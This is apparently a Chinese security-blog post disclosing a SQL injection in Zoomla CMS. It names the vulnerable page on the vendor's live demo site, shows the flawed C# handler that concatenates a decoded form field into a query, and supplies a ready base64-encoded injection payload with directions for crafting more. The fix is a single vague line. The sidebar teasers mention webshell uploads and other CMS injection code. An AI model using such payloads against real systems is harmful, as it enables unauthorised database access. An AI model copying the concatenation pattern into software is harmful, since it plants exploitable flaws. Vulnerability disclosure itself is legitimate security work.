您的位置 首页 WEB安全

逐浪CMS某处编码SQL注入漏洞

逐浪CMS某处编码SQL注入漏洞

地址

https://demo.zoomla.cn/3d/InsertContext.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
protected void Page_Load(object sender, EventArgs e)
{
    if (base.Request.QueryString["type"] != null)
    {
        this.md.Caddtime = DateTime.Now;
        this.md.Cadduser = this.user.GetLogin().UserName;
        string s = base.Request.Form.ToString();
        s = base.Server.UrlDecode(s);
        try
        {
            s = BaseClass.FromBase64String(s); //base64转换
        }
        catch (Exception exception)
        {
            s = exception.ToString() + s;
        }
        if (s.IndexOf("$") > -1)
        {
            string[] strArray = s.Split(new char[] { '$' },   StringSplitOptions.RemoveEmptyEntries); //分割
            if (base.Request.QueryString["type"].ToString() == "Suser")
            {
                DataTable table = this.bduser.Select_Where(" Dutype=1 and DuShow=" + strArray[1], " * ", ""); //数组第二部分没处理 存在注入
                if (table.Rows.Count > 0)
                {
                    this.md.Ctouid = DataConverter.CLng(table.Rows[0]["DUid"].ToString());
                }
                this.dt = this.bduser.Select_Where(" Duid=" + this.md.Ctouid, " * ", "");
                if ((this.dt.Rows.Count > 0) && (this.mduser.Dislogin == 0))
                {
                    this.mduser.Dmessage++;
                }
            }
            else
            {
                this.md.Ctouid = DataConverter.CLng(strArray[1]);
                this.dt = this.bduser.Select_Where(" Duid=" + this.md.Ctouid, " * ", "");
                this.mduser.Dmessage++;
            }
            this.md.Ccontent = BaseClass.Htmlcode(strArray[0]);
            this.md.ChatType = 0;
            this.SetUserContext();
        }
        else
        {
            this.dt = this.bduser.Select_Where(" Duid=" + this.user.GetLogin().UserID, " * ", "");
            this.md.Ccontent = BaseClass.Htmlcode(s);
            this.md.ChatType = 1;
            this.SetUserContext();
        }
        this.bd.GetInsert(this.md);
    }
    if (this.dt != null)
    {
        this.dt.Dispose();
    }
}

访问

 

https://demo.zoomla.cn/3d/InsertContext.aspx?type=Suser

提交

YSQxIGFuZCAoc2VsZWN0IEBAdmVyc2lvbik+MCAtLQ==

这个是base64的值 原来的值是 a$1 and (select @@version)>0 —

$后面可自己构造 然后整个字符串转换为base64编码

修复方案:

对参数进行处理

免责声明:若文章为网络转载内容,则文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。
没有了

已是最新文章

为您推荐

nginx防止SSL证书暴露服务器 IP配置

nginx防止SSL证书暴露服务器 IP配置

原理 用Nginx部署网站,在默认或不正确的配置下,网站开启ssl,直接访问ip的443端口,即ip:443,Nginx...
PHPCMS9.6.0 任意文件上传漏洞+修复方案

PHPCMS9.6.0 任意文件上传漏洞+修复方案

  点击注册页面,进行抓包 在本地创建一个txt文本,写入一句话木马 POC siteid=1&mod...
dedecms漏洞修复大全含任意文件上传漏洞与注入漏洞

dedecms漏洞修复大全含任意文件上传漏洞与注入漏洞

任意文件上传漏洞修复包含一个文件/include/dialog/select_soft_post.php;SQL注入漏洞...

北极熊ASP木马扫描程序

程序免费使用 如付费购买则被骗 本程序可扫描到黑客界百分之98的asp木马程序 内部代码已混淆 未经允许请勿私自修改程序...
dedecms 5.6的入0day漏洞及解决方案

dedecms 5.6的入0day漏洞及解决方案

注入代码: uploads/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29...
返回顶部